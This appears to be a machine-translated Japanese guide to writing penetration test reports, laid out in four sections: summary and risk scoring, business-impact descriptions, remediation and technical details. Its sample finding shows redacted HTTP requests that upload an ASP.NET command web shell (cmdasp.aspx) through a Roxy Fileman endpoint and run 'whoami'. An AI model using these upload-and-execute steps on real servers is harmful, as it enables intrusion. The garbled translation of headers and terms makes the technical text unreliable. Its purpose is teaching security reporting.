経験豊富なペンスターである彼は、よく書かれたレポートは、プレゼンテーションの後、クライアントが追加の質問を持っていないという事実によって特徴付けられることを知っています。 これを行うには、少なくとも 4 つの基本的なセクションと、異なる対象ユーザー向けの情報を含める必要があります。
セクション 1: 一般的な情報と統計
バグを修正するプログラマは、技術的な詳細をすべて必要とするかもしれませんが、管理は使用されている技術と特殊な語彙を理解していない場合があります。 代わりに、ビジネスリスクを理解する必要があります。 ビジネスリーダーは、企業に対して情報に基づいた意思決定を行うために何が危機に瀕しているかを理解する必要があります。 レポート全体に含まれる情報のアクセス可能な要約は、リスクの関与を正しく理解するために必要です。 さらに、最初のセクションには、テストされた内容と、テストされた時点、テストに参加したユーザー、テストの順番に関する正式な情報が含まれている必要があります。 次の図は、この情報を含むサンプル テーブルを示しています。
テスト済みアプリ | SXXX dXXX http://XXXXX |
テストされたロール | 管理者, ユーザー |
テストの日付 | 30.10.2017 – 13.12.2017 |
テストの場所 | ヴロツワフ (リモート) |
校長 | マーティンXXXX |
テスターとレポートの作成者 | ミハル・ケンジオール |
ドキュメントバージョン | 1.0 (15.12.2017) |
視覚的なコミュニケーションは、検出されたセキュリティ エラーを明確に伝える際にも役立ちます。 あらゆる種類のグラフや類似のグラフィック要素を使用して、一括データを視覚化できます。
リスクを評価する際には、次の手順に従う必要があります。
リスク = 危険 * 発生の確率 * ビジネスへの影響
危険が特定の脆弱性に関連する一般的なリスクである場合。 発生確率は、セキュリティ エラーを悪用する難度を意味します。 ビジネスへの影響により、攻撃者によるエラーの使用に伴う損失が決まります。 次の図は、脆弱性データのリスクを評価するのに役立つ表を示しています。 たとえば、脅威が高く、脆弱性が非常に簡単に悪用される場合 (脆弱性) – C と影響が平均 – 中程度、合計 24 ポイントを取得し、この脆弱性に平均リスクがあることを意味します。 別の図は、検出された脆弱性の量を視覚化する方法を示しています。
リスク評価に基づいて、レポート受信者はまず最も重大なエラーを修正する必要があります。 彼らはビジネスに最大の脅威をもたらし、高い財政的損失をもたらす可能性があります。
セクション 2: 検出された脆弱性の説明
ほとんどの侵入テスト レポートでは、何らかの種類のリスク評価システムを使用していますが、特定の脆弱性に関連するリスクについて説明する時間を取ることはまれです。 既存のセキュリティ エラーを知らされた後、どのような手順を実行するかについて、顧客は迅速かつ正確な判断を下す必要があります。 これには多くの場合、追加の予算が必要であり、非技術的な高官の承認が必要です。
難しい判断を容易にするために、検出された脆弱性をビジネスへの影響を示す方法で説明します。 たとえば、医療機関にファイルを転送できる重大な脆弱性が検出された場合、レポートには次の 2 つの方法があります。
- 技術的に正確な – X の Web アプリケーションは、ファイルの種類による転送を制限しないため、攻撃者がコードをリモートで実行し、アプリケーションの権限を昇格させる可能性のある脆弱性が生じてしまいます。
- 正確かつ文脈的な – X の Web アプリケーションはファイルの種類によるファイルの転送を制限しないため、攻撃者が不要なコードをリモートで実行し、アプリケーションの権限を昇格させる可能性のある脆弱性が生まれます。 この場合、攻撃者はユーザーの医療記録を参照し、アプリケーションの管理者として動作する可能性があります。
第二の方法は、技術的な側面だけでなく、ビジネスへの影響を指摘し、より多くの重みを持っています。 最も価値のあるレポートは、人々、特に指導的立場の人々が理解している言語ですべての聴衆にアピールするレポートです。
セクション 3: 修復の推奨事項
侵入テストを委託する顧客が依存する最も重要なことの 1 つは、検出されたセキュリティ脆弱性のその後の修復です。 これを可能にするために、侵入テスト者は、検出された脆弱性を説明することに加えて、検出されたエラーに関連するリスクを修復または神話化する方法を示すと予想されます。 このセクションは、主に、アプリケーション コード、サーバー構成、またはデータベースに直接関心を持つ技術トレーニングを受けた方を対象としています。 見つかったセキュリティ エラーを修正する方法を説明する外部ソースへのリンクを追加すると便利です。 次の図は、詳細な機密情報を表示するエラーを示しています。 このデータには、多くの場合、技術情報、クラス、エラーの原因となったメソッド、サーバーの正確なバージョン、またはアプリケーションと構成ファイルのシステムパスが含まれます。
以下は、詳細なエラー情報を表示するエラーに対する推奨例です。
セクション 4: 脆弱性の技術的な詳細
最後のセクションには、検出された脆弱性の技術的な詳細が含まれている必要があります。 特に、開発者にとっては、バグの内容と、バグの実行に必要な手順の再構築方法を理解しておくと便利です。 これは、問題の原因を特定し、その後で修復方法が有効であることを確認する必要がある場合に特に便利です。
以下は、サーバーにファイルをアップロードする際の脆弱性に関する技術的な詳細な説明です。
サーバ/コンテンツ/Roxy_Fileman/サーバー上のファイル ビューアには、適切なアクセス許可 (テスト済みの管理者アカウント) を持つログイン ユーザが、(システム上でコマンドを実行するスクリプトを含む) それらをアップロードできるようにします。
サーバーへのアップロードを要求して、システム上でコマンドを実行するスクリプト:
ポスト /管理/ロキシーファイルマン/プロセスリクエスト?a=アップロード HTTP/1.1
ホスト: XXXXX
ユーザーエージェント: Mozilla/5.0 (X11;Linux x86_64;rv:45.0) ゲッコー/20100101 Firefox/45.0
受け入れ: テキスト/html,アプリケーション/xhtml+xml,アプリケーション/xml;q=0.9,*/*;q=0.8
受け入れ言語: en-US,en;q=0.5
受け入れエンコーディング: gzip, デフレート
リファラー: http://XXXXX/Content/Roxy_Fileman/
クッキー: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;XXXXX=AFD96B4B580D29A33CDFC11265B5B4C4A942D164F2
接続:キャッシュ
制御を閉じる:max-age=0
コンテンツタイプ:マルチパート/フォームデータ; boundary=---------------------------13949612691104534433104770617
コンテンツ長: 1861
-----------------------------13949612691104534433104770617コンテンツの性質: フォームデータ;
name="action" アップロード
-----------------------------13949612691104534433104770617 コンテンツの性質: フォームデータ; name="d"
-----------------------------13949612691104534433104770617
コンテンツの性質: フォームデータ; 名前 ="files[]" ; filename="cmdasp.aspx"
コンテンツ タイプ: アプリケーション/オクテット ストリーム
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
スクリプトアップロード応答が成功したサーバー応答:
ポスト /管理/ロキシーファイルマン/プロセスリクエスト?a=アップロード HTTP/1.1
ホスト: XXXXX
ユーザーエージェント: Mozilla/5.0 (X11;Linux x86_64;rv:45.0) ヤモリ/20100101 Firefox/45.0
HTTP/1.1 200 OK
キャッシュコントロール: プライベート
コンテンツタイプ: テキスト/html; charset=utf-8
サーバー: マイクロソフト-IIS/10.0
X-AspNetMvc-バージョン:
5.1 X-AspNet-バージョン: 4.0.30319
セットクッキー: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; 09-Nov-2018 16:53:07 GMT; パス =/;HttpOnly
X-PoweredBy: ASP.NET
日付: 木, 09 Nov 2017 16:53:07 GMT
接続: 閉じる
コンテンツの長さ: 60
アップロードされたリソースは、サーバ/メディア/アップロード/ファイル名
で承認なしにアクセスできます
実行するコマンドを使用してサーバーに要求 – 現在のシステムユーザーを表示するwhoami:
POST /メディア/アップロード/cmdasp.aspx HTTP/1.1
ホスト: XXXXX
ユーザーエージェント: Mozilla/5.0 (X11;Linux x86_64;rv:45.0) ヤモリ/20100101 Firefox/45.0
受け入れ: テキスト/html、アプリケーション/xhtml+xml、アプリケーション/xml;q=0.9,*/*;q=0.8 受け入れ言語: en-US,en;q=0.5
受け入れエンコーディング: gzip, デフレート
リファラー: http://XXXXX/media/uploaded/cmdasp.aspx
クッキー: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A33CDFC11265B5B4C4A94D164F2D
接続:終了
コンテンツタイプ:アプリケーション/x-www-フォーム-url符号化
されたコンテンツ長:290
[.]
イベントレイフィクション=%2FwEAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7ayhB9duwcnk2J
DuMxrvKTMBUSvskgfe LwmgNGW8Lr4a8NezI%2FkHrIsB
%2FLodYxPpo9ud%2FbHu4w%3D%3D&txtArg=whoami&testing=excute
コマンドの実行を確認するサーバー応答:
ファイルをアップロードするメカニズムは、次のアドレスで識別されます。
- /管理者/請求書/請求書編集
- /管理者/請求書/請求書アイテムリスト
- /管理者/ニュースレター/グループ購読リスト
- /管理者/ニュースレター/サブスクリプションリスト
- /Content/Roxy_Fileman/index.html
セキュリティ エラーが完全に排除されることはありません。 これらは、セキュリティ開発ライフサイクルプロセス (さまざまなセキュリティテストやソースコード監査を含む) の実装にもかかわらず、Microsoft 製品と Linux カーネルの両方に表示されます。これらは、オープンソースプロジェクトとコードが閉じられるプロジェクトの両方で見つけることができます。 重要な点は、侵入テストを実施する際の感受性の検出の欠如は、それらが存在しないことを意味する同義ではないということです。 これは、限られた時間で、特定の手段、知識と経験を使用して、ペンテスターはそれらを見つけることができなかったことを意味します。 しかし、侵入テストの結果を見ると、アプリケーションの品質に関する結論を導き出したり、発見されたエラーの場合に、どのようなリスクを伴うかを知ることができます。